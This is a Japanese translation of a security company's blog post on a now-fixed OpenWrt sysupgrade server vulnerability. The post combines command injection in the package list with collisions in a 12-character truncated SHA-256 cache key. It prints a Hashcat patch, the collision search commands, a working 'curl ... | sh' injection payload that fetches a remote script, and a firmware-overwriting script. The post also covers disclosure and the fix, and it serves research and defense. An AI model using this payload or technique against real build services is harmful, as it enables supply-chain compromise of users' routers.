Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

OpenWrtへのサプライチェーン攻撃 - SHA-256の脆弱な取り扱いとコマンドインジェクションによるファームウェアアップデートの侵害

※本記事は筆者RyotaKが英語で執筆した記事を、弊社セキュリティエンジニアryotaromosaoが日本語に翻訳したものになります。

はじめに

こんにちは、Flatt SecurityでセキュリティエンジニアをしているRyotaK (@ryotkak)です。

数日前、自宅のネットワークをアップグレードする際に、ルーターのOpenWrtを更新することにしました1。OpenWrtのWebインターフェースであるLuCIにアクセスしたところ、Attended Sysupgradeというセクションがあることに気付き、これを使ってファームウェアをアップグレードしてみることにしました。

機能説明を読んでみると、この機能はオンラインサービスを利用して新しいファームウェアをビルドする、と書かれていました。

 

どういう仕組みになっているのかがとても気になったため、当該機能を調査することにしました。

sysupgrade.openwrt.org

調べていく中で、上記のオンラインサービスがsysupgrade.openwrt.orgでホストされていることが分かりました。このサービスでは、対象デバイスと必要なパッケージを選択することで、新しいファームウェアイメージをビルドすることができます。
ユーザーがファームウェアのアップグレードを行う際、OpenWrt側から以下の情報を含むリクエストがサーバーに送信されます。

  • 対象のアーキテクチャ
  • デバイスの型番等
  • インストールされたパッケージ

サーバーはその情報に基づいてファームウェアイメージをビルドし、OpenWrtに送り返します。その後、OpenWrtはファームウェアイメージをデバイスに書き込みます。
ご想像のとおり、ユーザーが提供したパッケージを使ってイメージを作成することは危険になりえます。もしサーバー上で、ユーザーが提供したソースコードをビルドしており、それが適切に隔離されていなければ、簡単に侵害される可能性があります。

そこで、私はこのサービスにセキュリティ上の問題がないか調査をすることにしました。

コマンドインジェクション

幸いなことに、sysupgrade.openwrt.orgでホストされているサーバーはオープンソースプロジェクトであり、そのソースコードはopenwrt/asuで公開されていました。
本番環境に影響を与えずにサービスの動作を調査・テストするため、ローカル環境にこのサービスのインスタンスをセットアップしました。

ソースコードを少し読んでみたところ、このサーバーはビルド環境を隔離するため、次のようにコンテナを使用していることが分かりました。

asu/build.py 154-164行目

    container = podman.containers.create(
        image,
        command=["sleep", "600"],
        mounts=mounts,
        cap_drop=["all"],
        no_new_privileges=True,
        privileged=False,
        networks={"pasta": {}},
        auto_remove=True,
        environment=environment,
    )

そこで私はコンテナエスケープをしたいと思い、さらに調査を進めました。ほどなくして、ソースコードの中で以下のような箇所を見つけました。

asu/build.py 217-226行目

    returncode, job.meta["stdout"], job.meta["stderr"] = run_cmd(
        container,
        [
            "make",
            "manifest",
            f"PROFILE={build_request.profile}",
            f"PACKAGES={' '.join(build_cmd_packages)}",
            "STRIP_ABI=1",
        ],
    )

上記で参照されたMakefileは、OpenWrtのimagebuilderからのもので、makeのmanifestターゲットは次のように定義されています。

target/imagebuilder/files/Makefile 325-335行目

manifest: FORCE
  $(MAKE) -s _check_profile
  $(MAKE) -s _check_keys
  (unset PROFILE FILES PACKAGES MAKEFLAGS; \
  $(MAKE) -s _call_manifest \
      $(if $(PROFILE),USER_PROFILE="$(PROFILE_FILTER)") \
      $(if $(PACKAGES),USER_PACKAGES="$(PACKAGES)"))

makeは、コマンドの実行前に変数を展開するため、ユーザーが制御する値を含む変数はそのままだと安全に使用することができません。
例えば、次のMakefileに対してmake var="'; whoami #"を実行すると、変数varがシングルクォートで囲まれているにもかかわらず、whoamiコマンドが実行されてしまいます。

test:
  echo '$(var)'

PACKAGES変数には、ユーザーから送信されたリクエストのpackagesパラメータが含まれているため、攻撃者は`command to execute`のようなパッケージを送信することで、imagebuilderコンテナ内で任意のコマンドを実行することができます。

asu/build_request.py 59-70行目

    packages: Annotated[
        list[str],
        Field(
            examples=[["vim", "tmux"]],
            description="""
                List of packages, either *additional* or *absolute* depending
                of the `diff_packages` parameter.  This is augmented by the
                `packages_versions` field, which allow you to additionally
                specify the versions of the packages to be installed.
            """.strip(),
        ),
    ] = []

コマンドが実行されるコンテナはホストから隔離されていますが、これはコンテナエスケープを試みるための良い足がかりとなります2

SHA-256のハッシュ衝突

上記のコマンドインジェクションを発見した後、コンテナからエスケープする方法を探すことにしました。
探し始めてから約1時間後、次のコードを見つけました。

asu/util.py 119-149行目

def get_request_hash(build_request: BuildRequest) -> str:
    """Return sha256sum of an image request

    Creates a reproducible hash of the request by sorting the arguments

    Args:
        req (dict): dict containing request information

    Returns:
        str: hash of `req`
    """
    return get_str_hash(
        "".join(
            [
                build_request.distro,
                build_request.version,
                build_request.version_code,
                build_request.target,
                build_request.profile.replace(",", "_"),
                get_packages_hash(build_request.packages),
                get_manifest_hash(build_request.packages_versions),
                str(build_request.diff_packages),
                "",  # build_request.filesystem
                get_str_hash(build_request.defaults),
                str(build_request.rootfs_size_mb),
                str(build_request.repository_keys),
                str(build_request.repositories),
            ]
        ),
        REQUEST_HASH_LENGTH,
    )

このメソッドはリクエストのハッシュを生成するために使用され、そのハッシュがビルドのキャッシュキーとして使用されます。
これを読んだ時、いくつかの内部ハッシュが使われているという点が少し気になったため、パッケージのハッシュを計算するコードを確認しました。

asu/util.py 152-164行目

def get_str_hash(string: str, length: int = REQUEST_HASH_LENGTH) -> str:
    """Return sha256sum of str with optional length

    Args:
        string (str): input string
        length (int): hash length

    Returns:
        str: hash of string with specified length
    """
    h = hashlib.sha256(bytes(string or "", "utf-8"))
    return h.hexdigest()[:length]

[...]

def get_packages_hash(packages: list[str]) -> str:
    """Return sha256sum of package list

    Duplicate packages are automatically removed and the list is sorted to be
    reproducible

    Args:
        packages (list): list of packages

    Returns:
        str: hash of `req`
    """
    return get_str_hash(" ".join(sorted(list(set(packages)))), 12)

私はすぐに、ハッシュの長さが64文字のうち12文字に切り捨てられていることに気付きました。
12文字は48ビットに相当するため、キー空間は2^48 = 281,474,976,710,656となり、衝突を避けるには小さすぎるように思えます。

このパッケージハッシュ自体はキャッシュキーとしては使用されていませんが、このハッシュを含むリクエスト全体のハッシュがキャッシュキーとして使用されています。そのため、パッケージハッシュを衝突させることによって、パッケージが異なっていても同じキャッシュキーを生成することができます。これにより攻撃者は、誤ったパッケージを含むファームウェアイメージがサーバーから返される状況を作り出すことができます。

衝突が実際に起こせるかどうかが不明だったため、12文字に切り捨てられたSHA-256の衝突が発生するか、ブルートフォースすることにより検証しました。

SHA-256のブルートフォース

ハッシュの部分一致に対応したブルートフォースツールが見つからなかったため、自分で実装を始めました。
試行錯誤の結果、GPUでブルートフォースを実行するOpenCLプログラムを作成することに成功しました。しかしながら、想定よりもパフォーマンスが悪く、1億回のハッシュ計算に10秒もかかりました。これはほぼCPUのハッシュレートと同じです。私はこれまでOpenCLプログラムを書いたことがなかったため、最適化することができませんでした。

そこで、既知のハッシュのブルートフォースツールであるHashcatを使用することにしました。
次のように、小さなハックを加えることで、Hashcatに8文字のみ一致したハッシュを表示させることができました。

diff --git a/OpenCL/m01400_a3-optimized.cl b/OpenCL/m01400_a3-optimized.cl
index 6b82987bb..12f2bc17a 100644
--- a/OpenCL/m01400_a3-optimized.cl
+++ b/OpenCL/m01400_a3-optimized.cl
@@ -165,7 +165,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
   /**
    * reverse
    */
-
+/*
   u32 a_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[0];
   u32 b_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[1];
   u32 c_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[2];
@@ -179,7 +179,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
-
+*/
   /**
    * loop
    */
@@ -279,7 +279,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
     w7_t = SHA256_EXPAND (w5_t, w0_t, w8_t, w7_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, w7_t, SHA256C37);
     w8_t = SHA256_EXPAND (w6_t, w1_t, w9_t, w8_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, a, b, c, d, e, f, g, h, w8_t, SHA256C38);
 
-    if (MATCHES_NONE_VS (h, d_rev)) continue;
+    //if (MATCHES_NONE_VS (h, d_rev)) continue;
 
     w9_t = SHA256_EXPAND (w7_t, w2_t, wa_t, w9_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, h, a, b, c, d, e, f, g, w9_t, SHA256C39);
     wa_t = SHA256_EXPAND (w8_t, w3_t, wb_t, wa_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, g, h, a, b, c, d, e, f, wa_t, SHA256C3a);
@@ -289,7 +289,8 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
     we_t = SHA256_EXPAND (wc_t, w7_t, wf_t, we_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, c, d, e, f, g, h, a, b, we_t, SHA256C3e);
     wf_t = SHA256_EXPAND (wd_t, w8_t, w0_t, wf_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, wf_t, SHA256C3f);
 
-    COMPARE_S_SIMD (d, h, c, g);
+    //COMPARE_S_SIMD (d, h, c, g);
+    COMPARE_S_SIMD (a, a, a, a);
   }
 }
 
diff --git a/src/modules/module_01400.c b/src/modules/module_01400.c
index ab002efbe..03549d7f5 100644
--- a/src/modules/module_01400.c
+++ b/src/modules/module_01400.c
@@ -11,10 +11,10 @@
 #include "shared.h"
 
 static const u32   ATTACK_EXEC    = ATTACK_EXEC_INSIDE_KERNEL;
-static const u32   DGST_POS0      = 3;
-static const u32   DGST_POS1      = 7;
-static const u32   DGST_POS2      = 2;
-static const u32   DGST_POS3      = 6;
+static const u32   DGST_POS0      = 0;
+static const u32   DGST_POS1      = 0;
+static const u32   DGST_POS2      = 0;
+static const u32   DGST_POS3      = 0;
 static const u32   DGST_SIZE      = DGST_SIZE_4_8;
 static const u32   HASH_CATEGORY  = HASH_CATEGORY_RAW_HASH;
 static const char *HASH_NAME      = "SHA2-256";

その後、Hashcatの出力に12文字の衝突が含まれているかを確認するためのスクリプトを追加しました。

両攻撃の組み合わせ

コマンドインジェクションとSHA-256のハッシュ衝突を組み合わせるためには、正当なパッケージリストに対して12文字のハッシュ衝突を引き起こすペイロードを見つける必要があります。

私は、sysupgrade.openwrt.orgのフロントエンドであるfirmware-selector.openwrt.orgからパッケージリストを取得し、そのハッシュを計算しました。

$ printf 'base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd' | sha256sum
8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb  -

このハッシュの最初の12文字は8f7018b33d94であるため、一致する先頭文字列を持つハッシュを持つコマンドインジェクションのペイロードを見つける必要があります。

そのようなペイロードを見つけるために、RTX 4090を用いて以下のようにHashcatを実行しました。

$ ./hashcat -m 1400 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb -O -a 3 -w 3 '`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`' --self-test-disable --potfile-disable --keep-guessing

コマンドを実行した後、Hashcatは1秒あたり約5億ハッシュの速度でハッシュの計算を開始したので、しばらく放置することにしました。

その後しばらくして出力を確認したところ、Hashcatは全ての組み合わせを計算しましたが、必要であった12文字の衝突は見つかりませんでした。これは、実行する前に行った計算で、?l?l?l?l?l?l?l?l?l?lの空間を誤認していたためです。

?la-zを生成するマスクパターンなので、?l?l?l?l?l?l?l?l?l?l(10文字)の空間は26^10 = 141,167,095,653,376であり、2^48 = 281,474,976,710,656の半分程度です。
しかし、空間を計算する際に誤って26^11 = 3,670,344,486,987,776という計算をしてしまい、衝突を見つけるのにはそれで十分だと思い込んでいました。

そこで、マスクパターンを?l?l?l?l?l?l?l?l?l?l?l(11文字)に修正し、再び実行しました。コマンドを実行した後、ブルートフォースをさらに高速化できないかと思い、Hashcatをいじり始めました。

しばらくして`?l?l?l?l?l?l?l?l?l?l?l `curl -L tmp.ryotak.net/|sh` のように、マスクパターンをコマンドの先頭に移動させるとパフォーマンスが劇的に向上することに気付きました。
テストした結果、パターンを次のように変更するだけで、速度が約36倍向上することを確認しました。

`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`

このパターンを使用することで、Hashcatは1秒あたり180億ハッシュの速度で計算できるようになりました。その結果、わずか1時間以内に12文字の衝突を発見することに成功しました。

$ printf '`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`' | sha256sum
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8  -

このペイロードをpackagesパラメータとして送信すると、コマンドインジェクションが発生し、tmp.ryotak.netからスクリプトが実行されます。
私は以下のような、ファームウェアイメージを上書きするスクリプトをtmp.ryotak.net/8f7018b33d94に起きました。

cat >> /builder/scripts/json_overview_image_info.py <<PY
import os
files = os.listdir(os.environ["BIN_DIR"])
for filename in files:
    if filename.endswith(".bin"):
        filepath = os.path.join(os.environ["BIN_DIR"], filename)
        with open(filepath, "w") as f:
            f.write("test")
PY

これによりハッシュの衝突が発生した際、サーバーは以下のパッケージを要求する正規のリクエストに対して、私が上書きしたファームウェアイメージを返すようになります。

base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd

これを悪用することで、攻撃者はユーザーに悪意のあるファームウェアへのアップグレードを強制させることができ、その結果、デバイスが侵害される可能性があります。

問題の報告

私はこの脆弱性が成立することを確認した後、OpenWrtチームにプライベート脆弱性レポート機能を通じて報告しました。

OpenWrtチームは問題を認識した後、sysupgrade.openwrt.orgサービスを一時的に停止し、問題の調査を開始しました。その後、3時間以内に修正版がリリースされ、サービスが再開されました。

しかしながら、この脆弱性は一定期間存在していたため、この攻撃が攻撃者によって悪用されていたかどうかは不明となっていました。
そのため、OpenWrtチームはアナウンスを公開し、ユーザーに念の為ファームウェアを再更新するよう促しました。

さいごに

この記事では、コマンドインジェクションとSHA-256衝突を利用して、どのようにしてsysupgrade.openwrt.orgを侵害可能だったかを説明しました。
実世界のアプリケーションでハッシュ衝突攻撃を見つけたことはなかったので、実際に攻撃が成立することを確認したときは少し驚きました。

OpenWrtチームが非常に短期間で問題を修正し、迅速にユーザーに通知したことに改めて感謝申し上げます。

お知らせ

※以降は元記事の翻訳ではありません。

株式会社Flatt Securityでは本記事で紹介したようなリサーチ活動の成果を社内に積極的に還元し、セキュリティ診断・ペネトレーションテストといったサービスの専門性を高め続けています。また、セキュリティ診断業務に従事するセキュリティエンジニアを積極募集中です。弊社の環境で専門性を高めていくことにご興味のある方は、ぜひ以下のフォームからカジュアル面談をお申し込みください。

非常に高い採用ハードルが設定されていると思われることもありますが、新卒採用も含め熱意のある方をサポートし徐々に実務へ参加していく仕組みもございますので、セキュリティ診断の実務経験をお持ちの方は気負わずご連絡ください。開発からセキュリティ未経験でキャリアチェンジしたメンバーも在籍しています。

その他、Flatt Securityでの働き方やメンバー、待遇や福利厚生については以下よりご覧ください。

ここまでお読みいただきありがとうございました。


  1. OpenWrtは、組み込みデバイス向けに作られたLinuxベースのファームウェアで、特にルーターで人気があります。幅広いデバイスをサポートしており、家庭用ルーターで広く利用されています。
  2. なお、コマンドインジェクションを悪用することで、OpenWrtが所有する秘密鍵を用いて署名された悪意あるイメージを作成できるため、これ自体も脆弱性と考えられます。